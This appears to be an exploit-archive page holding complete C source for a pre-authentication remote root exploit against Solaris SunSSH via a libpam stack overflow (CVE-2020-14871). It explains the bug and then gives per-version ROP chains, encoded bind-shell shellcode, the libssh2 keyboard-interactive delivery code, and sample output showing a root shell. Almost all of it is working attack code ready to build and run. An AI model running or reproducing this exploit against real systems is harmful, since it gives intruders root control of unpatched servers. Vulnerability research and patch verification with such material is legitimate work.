Solaris SunSSH 11.0 x86 libpam Remote Root

Related Vulnerabilities: CVE-2020-14871  
Publish Date: 15 Dec 2020
                							

                # Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root 
# Exploit Author: Hacker Fantastic
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html
# Version: 11
# Tested on: SunOS solaris 5.11 11.0

/* SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
 * ====================================================================
 * Makefile
 * all: hfsunsshdx
 *
 *  hfsunsshdx: main.c
 *  gcc main.c -o hfsunsshdx -lssh2 
 *
 *  clean:
 *  rm -rf hfsunsshdx
 *  rm -rf core.*
 *
 * A trivial to reach stack-based buffer overflow is present in libpam on
 * Solaris. The vulnerable code exists in pam_framework.c parse_user_name()
 * which allocates a fixed size buffer of 512 bytes on the stack and parses
 * usernames into the buffer via modules (authtok_get) without bounds checks.
 * This issue can be reached remotely pre-authentication via SunSSH when
 * "keyboard-interactive" is enabled to use PAM based authentication. The
 * vulnerability was discovered being actively exploited by FireEye in the
 * wild and is part of an APT toolkit called "EVILSUN". The vulnerability
 * is present in both SPARC/x86 versions of Solaris & others (eg. illumos).
 * This exploit uses ROP gadgets to disable nxstack through mprotect on x86
 * and a helper shellcode stub. The configuration in a default Solaris 
 * install is vulnerable. The exploit makes use of libssh2 and tested on
 * Solaris 10 through 11.0. Solaris 9 does not ship with a vulnerable 
 * SunSSH implementation and versions later than 11.1 have updated SunSSH
 * code that prevents the issue being triggered.
 *
 * e.g.
 *  ./hfsunsshdx -s 192.168.11.220 -t 0 -x 2
 *  [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
 *  [-] chosen target 'Solaris 11 11/11 11.0 Sun_SSH_2.0 x86'
 *  [-] using shellcode 'Solaris 11.0 x86 bindshell tcp port 9999' 193 bytes
 *  [+] ssh host fingerprint: 01bc34fe8092e051716b91fd88eed210db2df49e
 *  [+] entering keyboard-interactive authentication.
 *  [-] number of prompts: 1
 *  [-] prompt 0 from server: 'Please enter user name: '
 *  [-] shellcode length 193 bytes
 *  [-] rop chain length 68
 *  [-] exploit buffer length 580
 *  [-] sending exploit magic buffer... wait
 *  [+] exploit success, handling payload...
 *  [-] connected.. enjoy :)
 *  SunOS solaris 5.11 11.0 i86pc i386 i86pc
 *   6:49pm  up 53 min(s),  1 user,  load average: 0.01, 0.01, 0.01
 *  helpdesk   console      Nov 27 17:57
 *  uid=0(root) gid=0(root)
 *
 * -- Hacker Fantastic (https://hacker.house)
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>
#include <getopt.h>
#include <time.h>
#include <signal.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <libssh2.h>

int sd = -1;
int oldsd = -1;
int ishell = -1;
char* buf;
char* payload;
char* retaddr;
struct sockaddr_in sain;

struct target {
  char* name;
  char* ropchain;
};

struct shellcode {
  char* name;
  char* shellcode;
};

void spawn_shell(int);
void bindshell_setup(short);
void on_alarm(int);
void on_interupt(int);
void prepare_payload();

const int targetno = 5;
struct target targets[] = {
  {"Solaris 11 11/11 11.0 Sun_SSH_2.0 x86",
  "\x41\x42\x43\x44"  // %ebx
  "\x45\x46\x47\x48"  // %esi 
  "\x50\x51\x52\x53"  // %ebp
  "\xa7\x0e\x06\x08"  // pop %ecx, pop %edx, pop %ebp
  "\x9c\x3e\x04\x08"  // ptr to (0x?, 0x?, 0x8044cf0, 0x7) 
  "\x01\x01\x04\x08"  // %edx unused, must be writeable addr
  "\x41\x42\x43\x44"  // %ebp unused var 
  "\x93\xdb\xc8\xfe"  // pop %edx ; ret
  "\x01\x30\x04\x08"  // ptr to 0x08043001 mprotect arg
  "\x1a\xe7\x0b\xfe"  // dec %edx ; ret 
  "\x79\x41\xfe\xfe"  // mov %edx,$0x4(%ecx) ; xor %eax, %eax ; ret
  "\x93\xdb\xc8\xfe"  // pop %edx ; ret 
  "\x01\x30\x04\x08"  // ptr to shellcode
  "\xe0\xe8\x3e\xfe"  // mov $0x72,%al 
  "\x64\x7c\xc3\xfe"  // inc %eax ; ret
        "\x64\x7c\xc3\xfe"  // inc %eax ; ret  
  "\x22\x9d\xd3\xfe"},// sysenter
  {"Solaris 11 Express (snv_151a) Sun_SSH_1.5 x86",
  "\x41\x42\x43\x44"  // %ebx overwrite unused
  "\x41\x42\x43\x44"  // %esi overwrite unused
  "\xf8\x32\x04\x08"  // %ebp overwrite unused
  "\xb7\xf9\x05\x08"  // pop %ecx ; pop %edx ; pop %ebp ; ret
  "\x7e\x36\x02\x04"  // ptr/2 to (0x?, 0x0, 0x1000, 0x7) 
  "\x01\x30\x04\x08"  // ptr for %edx
  "\x44\x43\x42\x41"  // ptr for %ebp unused
  "\xe4\xd4\xde\xfe"  // dec %edx ; add %ecx, %ecx ; ret
  "\x19\x42\xfe\xfe"  // mov %edx,$0x4(%ecx) ; xor %eax, %eax; ret
  "\xb8\xf9\x05\x08"  // pop %edx ; pop %ebp ; ret
  "\xeb\x30\x04\x08"  // shellcode ptr for %edx
  "\x1c\x33\x04\x08"  // %ebp & used by "leave"
        "\x84\x98\x51\xfe"  // mov $0x82, %eax ; pop %esi ; pop %ebx ; leave ; ret
        "\x41\x42\x43\x44"  // %esi unused
        "\xe0\x30\x04\x08"  // shellcode ptr to %ebx                              
        "\xe8\x32\x04\x08"  // ptr into %ebp        
        "\x19\x3f\xfe\xfe"  // sub $0x4,%eax ; ret  
        "\x19\x3f\xfe\xfe"  // sub $0x4,%eax ; ret
        "\x19\x3f\xfe\xfe"  // sub $0x4,%eax ; ret
        "\x11\x3f\xfe\xfe"  // sub $0x2,%eax ; ret
  "\xfe\xf8\xcf\xfe"},// sysenter
  {"Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86",
  "\xc3\x31\x04\x08"  // overwrite %ebp unused
  "\xa3\x6c\xd8\xfe"  // mov $0x74, %eax ; ret
  "\x29\x28\x07\x08"  // pop %ebx ; ret
  "\xf0\xff\xaf\xfe"  // 0x0a writen to address, unused gadget
  "\x08\xba\x05\x08"  // pop %edx ; pop %ebp ; ret
  "\x01\x30\x04\x08"  // %edx pointer to page
  "\xb8\x31\x04\x08"  // unused %ebp value
  "\xaa\x4c\x68\xfe"  // pop %ecx ; ret
  "\xe0\x6e\x04\x08"  // ptr (0x?,0x0,0x1000,0x7)
  "\x61\x22\x07\x08"  // dec %edx ; ret
  "\x8b\x2d\xfe\xfe"  // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret
  "\xa3\x6c\xd8\xfe"  // mov $0x74, %eax ; ret
  "\x08\xba\x05\x08"  // pop %edx ; pop %ebp ; ret
  "\xc3\x31\x04\x08"  // shellcode addr for %edx
  "\xc3\x31\x04\x08"  // unused %ebp value
  "\xf6\x0d\xf4\xfe"},// sysenter, (ret into shellcode via %edx)
  {"Solaris 10 8/11 (147441-01) Sun_SSH_1.1.4 x86",
  "\xc3\x31\x04\x08"  // overwrite %ebp unused
  "\x73\x6a\xd7\xfe"  // mov $0x74, %eax ; ret
  "\xb1\x26\x07\x08"  // pop %ebx ; ret
  "\xff\x01\xac\xfe"  // write garbage here, unused gadget
  "\x98\xb9\x05\x08"  // pop %edx ; pop %ebp ; ret
  "\xff\x2f\x04\x08"  // %edx pointer to page
  "\xc3\x31\x04\x08"  // unused %ebp value
  "\x57\xaa\xe4\xfe"  // pop %ecx ; ret
  "\x94\x11\x5f\xfe"  // ptr rwx (0x?,0x04b,0xe50,0x7)
  "\xee\x6a\x65\xfe"  // inc %edx ; ret
  "\x9b\xc5\xc1\xfe"  // mov %edx,0x4($ecx) ; xor %eax,%eax ; ret
  "\x73\x6a\xd7\xfe"  // mov $0x74, %eax ; ret
  "\x86\xae\xe5\xfe"  // pop %edx ; ret
  "\xc3\x31\x04\x08"  // shellcode return address for %edx
  "\x66\x56\xb9\xfe"},// sysenter (ret into shellcode via %edx)
  {"Solaris all Sun_SSH_1.x.x debug crash target",
  "\x41\x42\x43\x43"  // %ebp ptr
  "\x78\x79\x80\x81"} // %eip ptr
};

const int shellno = 4;

struct shellcode shellcodes[] = {
  {"Solaris x86 bindshell tcp port 9999",
  /* mprotect magic stub necessary for payloads expecting +x stack */
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xc9"
  "\xbb\x01\x10\x04\x08\x66\xb8\x01\x70\xb1\x07\x4b\x48\x51\x50"
  "\x53\x53\x89\xe1\x31\xc0\xb0\x74\xcd\x91"
  /* mprotect_shellcode.S Solaris x86 mprotect(0x08044000,0x7000,0x07);
     ==================================================================
    xorl %eax, %eax
      xorl %ecx, %ecx
      movl $0x08041001, %ebx
      movw $0x7001, %ax
      movb $0x7,%cl
      dec %ebx
      dec %eax
      pushl %ecx
      pushl %eax
      pushl %ebx
      pushl %ebx
      movl %esp, %ecx
      xorl %eax, %eax
    movb $0x74, %al
    int $0x91
  */
  /* msfvenom -p solaris/x86/shell_bind_tcp -b "\x09\x20" LPORT=9999 -f c -e x86/xor_dynamic */
  "\xeb\x23\x5b\x89\xdf\xb0\x55\xfc\xae\x75\xfd\x89\xf9\x89\xde"
        "\x8a\x06\x30\x07\x47\x66\x81\x3f\x2a\x95\x74\x08\x46\x80\x3e"
        "\x55\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x01\x55\x69"
        "\xfe\xd9\xfe\x3d\x6b\x64\x88\xe7\xf6\x57\x05\xf7\x17\x30\xc1"
        "\x51\x69\xfe\x03\x26\x0e\x88\xe6\x6b\x03\x51\x51\x6b\x03\x6b"
        "\x03\xb1\xe7\xfe\xd7\x6b\x11\x56\x51\x30\xc1\xb1\xe9\xfe\xd7"
        "\x5a\x51\x51\x52\xb1\xe8\xfe\xd7\xb1\xeb\xfe\xd7\x6b\x08\x51"
        "\x6b\x3f\x59\xfe\xd7\xfe\x4e\xd9\x78\xf7\x51\x69\x2e\x2e\x72"
        "\x69\x69\x2e\x63\x68\x6f\x88\xe2\x51\x52\x88\xe0\x51\x50\x52"
        "\xb1\x3a\xfe\xd7\x2a\x95"},
  {"Solaris x86 bindshell tcp port 8080",
  /* mprotect magic stub necessary for payloads expecting +x stack */
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xc9"
  "\xbb\x01\x10\x04\x08\x66\xb8\x01\x70\xb1\x07\x4b\x48\x51\x50"
  "\x53\x53\x89\xe1\x31\xc0\xb0\x74\xcd\x91"
  /* msfvenom -p solaris/x86/shell_bind_tcp -b "\x09\x20" LPORT=8080 -f c -e x86/xor_dynamic */
  "\xeb\x23\x5b\x89\xdf\xb0\x9a\xfc\xae\x75\xfd\x89\xf9\x89\xde"
  "\x8a\x06\x30\x07\x47\x66\x81\x3f\x44\x60\x74\x08\x46\x80\x3e"
  "\x9a\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x01\x9a\x69"
  "\xfe\xd9\xfe\x3d\x6b\x64\x88\xe7\xf6\x57\x05\xf7\x17\x30\xc1"
  "\x51\x69\xfe\x03\x1e\x91\x88\xe6\x6b\x03\x51\x51\x6b\x03\x6b"
  "\x03\xb1\xe7\xfe\xd7\x6b\x11\x56\x51\x30\xc1\xb1\xe9\xfe\xd7"
  "\x5a\x51\x51\x52\xb1\xe8\xfe\xd7\xb1\xeb\xfe\xd7\x6b\x08\x51"
  "\x6b\x3f\x59\xfe\xd7\xfe\x4e\xd9\x78\xf7\x51\x69\x2e\x2e\x72"
  "\x69\x69\x2e\x63\x68\x6f\x88\xe2\x51\x52\x88\xe0\x51\x50\x52"
  "\xb1\x3a\xfe\xd7\x44\x60"},
  /* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */ 
  {"Solaris 11.0 x86 bindshell tcp port 9999", 
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x31\xc0\x31\xc9\x31\xd2\xbb\x01\x10\x04\x08\x66\xb8\x01\x70"
  "\xb1\x07\x66\xba\x01\x10\x66\x31\xd3\x48\x51\x50\x53\x53\x89"
  "\xe1\x31\xc0\xb0\x74\xcd\x91"//not encoded, stack address different
  "\xb8\x5d\x6d\x26\x15\xda\xce\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
  "\x19\x31\x42\x15\x83\xea\xfc\x03\x42\x11\xe2\xa8\x05\xd9\xcd"
  "\xad\xea\x4f\x8b\xd8\xf5\x67\x05\xde\x0f\x91\x9b\x1e\xbf\xf6"
  "\x24\x9c\x67\x08\x52\x47\x0d\x14\x34\xd7\xb8\x1a\xde\xd5\x8c"
  "\xfd\xe1\x0f\x86\x11\x49\xff\x66\xd2\xc5\x17\x77\x04\x7e\xb7"
  "\xdb\x19\x68\xc8\x0a\xe9\x81\xc9\x65\x60\x5f\x5f\x83\x25\x35"
  "\xa1\xcb\x3a\x1f\x22\xa4\x1c\xd9\x2a\x0a\x5d\x4a\xba\x42\x72"
  "\x18\x52\xf5\xa3\xbc\xcb\x6b\x35\xa3\x5b\x27\xcc\xc5\x0b\x97"
  "\x9f\x56\x1b\x2c\xdf\x8f"},
  /* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */
  {"Solaris 11.0 x86 bindshell tcp port 4444", 
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x31\xc0\x31\xc9\x31\xd2\xbb\x01\x10\x04\x08\x66\xb8\x01\x70"
  "\xb1\x07\x66\xba\x01\x10\x66\x31\xd3\x48\x51\x50\x53\x53\x89"
  "\xe1\x31\xc0\xb0\x74\xcd\x91"//not encoded, stack address different
  "\xb8\x8d\x2e\x32\x79\xd9\xe5\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
  "\x19\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\x78\x46\xcd\xa1"
  "\x7d\xab\x5b\x37\x08\x32\x6c\xe1\x0e\x4d\x85\x3f\xce\xe1\xc2"
  "\xc0\xcc\x1e\x83\xb6\x37\x4a\xa1\x98\xe7\xe1\xa7\x72\x05\x46"
  "\x41\x7d\xdf\xcc\x9e\xd5\x8f\x21\x5f\x69\xc7\xbd\x89\xd1\x47"
  "\x11\x86\x0f\x98\x43\x56\x25\x99\xba\xfd\xb3\x0f\x4a\x52\xae"
  "\xf1\x14\xad\xf8\xf2\xea\x89\x7c\xfa\xc4\xe9\x2f\x6a\x08\xc5"
  "\xbc\x02\x3e\x36\x21\xbb\xd0\xc1\x46\x6b\x7e\x5b\x69\xdb\xd0"
  "\x0a\x39\x6b\xeb\x53\x6b"}
};

void spawn_shell(int sd) {
#define sockbuflen 2048
  int rcv;
  char sockbuf[sockbuflen];
  fd_set readfds;
  memset(sockbuf,0,sockbuflen);
  snprintf(sockbuf,sockbuflen,"uname -a;uptime;who;id\n");
  write(sd,sockbuf,strlen(sockbuf));
  while (1) {
    FD_ZERO(&readfds);
    FD_SET(0,&readfds);
    FD_SET(sd,&readfds);
    select(255,&readfds,NULL,NULL,NULL);
    if (FD_ISSET(sd, &readfds)) {
      memset(sockbuf,0,sockbuflen);
      rcv = read(sd,sockbuf,sockbuflen);
      if (rcv <= 0) {
                    printf("\e[1m\e[34m[!] connection closed by foreign host.\n\e[0m");
                    exit(-1);
                }
      printf("%s",sockbuf);
      fflush(stdout);
    }
          if(FD_ISSET(0,&readfds)) {
      memset(sockbuf,0,sockbuflen);
      read(0,sockbuf,sockbuflen);
      write(sd,sockbuf,strlen(sockbuf));
          }
      }
}

void bindshell_setup(short port){
  oldsd = sd;
        sd = socket(AF_INET,SOCK_STREAM,0);
        sain.sin_port = htons(port);
        if(connect(sd,(struct sockaddr*)&sain,sizeof(sain))<0){
    printf("[!] fatal bind shell failed\n\e[0m");
                exit(-1);
        }
  printf("[-] connected.. enjoy :)\e[0m\n");
        spawn_shell(sd);
}

void on_alarm(int signum){
  printf("[+] exploit success, handling payload...\n");
  if(ishell==0||ishell==2){
    bindshell_setup(9999);
  }
  if(ishell==1||ishell==3){
    bindshell_setup(8080);
  }
  printf("[-] exploit complete\n\e[0m");
  exit(0);
}

void on_interrupt(int signum){
  printf("\e[1m\e[34m[!] interrupt caught... cleaning up\n\e[0m");
  if(sd){
    close(sd);
  }
  if(oldsd){
    close(oldsd);
  }
  exit(0);
}

void prepare_payload(){ /* bad characters are 0x20 0x09 & 0x00 */
#define payload_size 4096
  int len = strlen(payload);
  buf = malloc(payload_size);
  char randchar = 'A';
  char* randbuf = malloc(2);
  if(!buf||!randbuf){
    printf("[!] fatal payload buffer error\n");
    exit(-1);
  }
  srand(time(NULL));
  memset(buf,'\x00',payload_size);
  memset(randbuf,0,2);
  printf("[-] shellcode length %d bytes\n",len);
  if(len < 512 && payload_size > 1024){
    memcpy(buf,payload,len);
    for(int i =0;i <= (512 - len);i++){
       randchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[random() % 52];
      memcpy(randbuf,&randchar,1);
      strcat(buf,randbuf);
    }
    len = strlen(retaddr);
    printf("[-] rop chain length %d\n",len);
    if(len + 512 < payload_size){
      memcpy((void*)(long)buf+512,(void*)retaddr,len);
      len = strlen(buf);
      printf("[-] exploit buffer length %d\n",len);
    }
    else{
      printf("[!] exploit buffer miscalculated\n");
      exit(-1);
    }
  }
  else{
    printf("[!] exploit buffer miscalculated\n");
    exit(-1);
  }
}

static void kbd_callback(const char *name, int name_len,const char *instruction, int instruction_len,int num_prompts,const LIBSSH2_USERAUTH_KBDINT_PROMPT *prompts,LIBSSH2_USERAUTH_KBDINT_RESPONSE *responses, void **abstract) {
  int i = 0;
  signal(SIGALRM, &on_alarm);
  printf("[+] entering keyboard-interactive authentication.\n");
  printf("[-] number of prompts: %d\n", num_prompts);
  printf("[-] prompt %d from server: '", i);
  fwrite(prompts[i].text, 1, prompts[i].length, stdout);
  printf("'\n");
  prepare_payload();
  //uncomment to pause for gdb debugging
  //sleep(10);
  responses[i].text = strdup(buf);
  responses[i].length = strlen(buf);
  printf("[-] sending exploit magic buffer... wait\n");
  alarm(5);
}

int main(int argc,char **argv){
  int ihost = 0, itarg = 0, port = 22, index = 0, rc = 0;
  char* host;
  int i, type, exitcode;
  unsigned long hostaddr;
  const char *fingerprint;
  LIBSSH2_SESSION *session;
  LIBSSH2_CHANNEL *channel;
  char *exitsignal = (char *)"none";
  size_t len;
  LIBSSH2_KNOWNHOSTS *nh;
  static struct option options[] = {
    {"server", 1, 0, 's'},
    {"port", 1, 0, 'p'},
    {"target", 1, 0, 't'},
    {"shellcode", 1, 0, 'x'},
    {"help", 0, 0,'h'}
        };
  printf("\e[1m\e[34m[+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871\n");
  while(rc != -1) {
          rc = getopt_long(argc,argv,"s:p:t:x:h",options,&index);
          switch(rc) {
                   case -1:
                          break;
                  case 's':
        if(ihost==0){
          host = malloc(strlen(optarg) + 1);
          if(host){
            sprintf(host,"%s",optarg);
            ihost = 1;
          }
        }
                     break;
                  case 'p':
        port = atoi(optarg);
                          break;
      case 'x':
        if(ishell==-1) {
          rc = atoi(optarg);
          switch(rc){
            case 0:
              printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
              payload = malloc(strlen(shellcodes[rc].shellcode)+1);
              if(payload){
                memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
                memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
                ishell = rc;
              }
              break;
            case 1:
              printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
              payload = malloc(strlen(shellcodes[rc].shellcode)+1);
              if(payload){
                memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
                memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
                ishell = rc;
              }
              break;
            case 2:
              printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
              payload = malloc(strlen(shellcodes[rc].shellcode)+1);
              if(payload){
                memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
                memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
                ishell = rc;
              }
              break;
            case 3:
              printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
              payload = malloc(strlen(shellcodes[rc].shellcode)+1);
              if(payload){
                memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
                memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
                ishell = rc;
              }
              break;

            default:
              printf("[!] Invalid shellcode selection %d\n",rc);
              exit(0);
              break;
            }
        }
        break;
                  case 't':
        if(itarg==0){
          rc = atoi(optarg);
          switch(rc){
            case 0:
              printf("[-] chosen target '%s'\n",targets[rc].name);
              retaddr = malloc(strlen(targets[rc].ropchain)+1);
              if(retaddr){
                memset(retaddr,0,strlen(targets[rc].ropchain)+1);
                memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
                itarg = rc;
              }
              break;
            case 1:
              printf("[-] chosen target '%s'\n",targets[rc].name);
              retaddr = malloc(strlen(targets[rc].ropchain)+1);
              if(retaddr){
                memset(retaddr,0,strlen(targets[rc].ropchain)+1);
                memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
                itarg = rc;
              }
              break;
            case 2:
              printf("[-] chosen target '%s'\n",targets[rc].name);
              retaddr = malloc(strlen(targets[rc].ropchain)+1);
              if(retaddr){
                memset(retaddr,0,strlen(targets[rc].ropchain)+1);
                memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
                itarg = rc;
              }
              break;
            case 3:
              printf("[-] chosen target '%s'\n",targets[rc].name);
              retaddr = malloc(strlen(targets[rc].ropchain)+1);
              if(retaddr){
                memset(retaddr,0,strlen(targets[rc].ropchain)+1);
                memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
                itarg = rc;
              }
              break;
            case 4:
              printf("[-] chosen target '%s'\n",targets[rc].name);
              retaddr = malloc(strlen(targets[rc].ropchain)+1);
              if(retaddr){
                memset(retaddr,0,strlen(targets[rc].ropchain)+1);
                memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
                itarg = rc;
              }
              break;
            default:
              printf("[!] Invalid target selection %d\n", rc);
              exit(0);
              break;
          }
          itarg = 1;
        }
                          break;
      case 'h':
        printf("[!] Usage instructions.\n[\n");
        printf("[ %s <required> (optional)\n[\n[   --server|-s <ip/hostname>\n",argv[0]);
        printf("[   --port|-p (port)[default 22]\n[   --target|-t <target#>\n");
        printf("[   --shellcode|-x <shellcode#>\n[\n");
        printf("[ Target#'s\n");
        for(i = 0;i <= targetno - 1;i++){
          printf("[ %d \"%s\"\n",i,targets[i]);
        }
        printf("[\n[ Shellcode#'s\n");
        for(i = 0;i <= shellno - 1;i++){
          printf("[ %d \"%s\" (length %d bytes)\n",i,shellcodes[i].name,strlen(shellcodes[i].shellcode));
        }
        printf("\e[0m");
        exit(0);
        break;
      default:
                    break;
          }
  }
  if(itarg != 1 || ihost  != 1 || ishell < 0){
    printf("[!] error, insufficient arguments, try running '%s --help'\e[0m\n",argv[0]);
    exit(-1);
  }
  rc = libssh2_init(0);
  hostaddr = inet_addr(host);
  sd = socket(AF_INET, SOCK_STREAM, 0);
  sain.sin_family = AF_INET;
  sain.sin_port = htons(port);
  sain.sin_addr.s_addr = hostaddr;
  if(connect(sd, (struct sockaddr*)(&sain),sizeof(struct sockaddr_in)) != 0) {
    fprintf(stderr, "[!] failed to connect!\n");
    goto shutdown;
  }
  session = libssh2_session_init();
  libssh2_session_set_blocking(session, 1);
  while((rc = libssh2_session_handshake(session, sd))==LIBSSH2_ERROR_EAGAIN);
  if(rc) {
    printf("[!] failure establishing ssh session: %d\n", rc);
    goto shutdown;
  }
  nh = libssh2_knownhost_init(session);
  if(!nh) {
    printf("[!] failure on libssh2 init\n");
    goto shutdown;
  }
  fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
  printf("[+] ssh host fingerprint: ");
  for(i = 0; i < 20; i++) {
    printf("%02x", (unsigned char)fingerprint[i]);
  }
  printf("\n");
  libssh2_knownhost_free(nh);
  signal(SIGINT,&on_interrupt);
  libssh2_userauth_keyboard_interactive(session, "", &kbd_callback);
  printf("[!] exploit failed, core maybe on target!\n");
shutdown:
  if(sd){
    close(sd);
  }
  printf("\e[0m");
  return -2;
}
            
<p>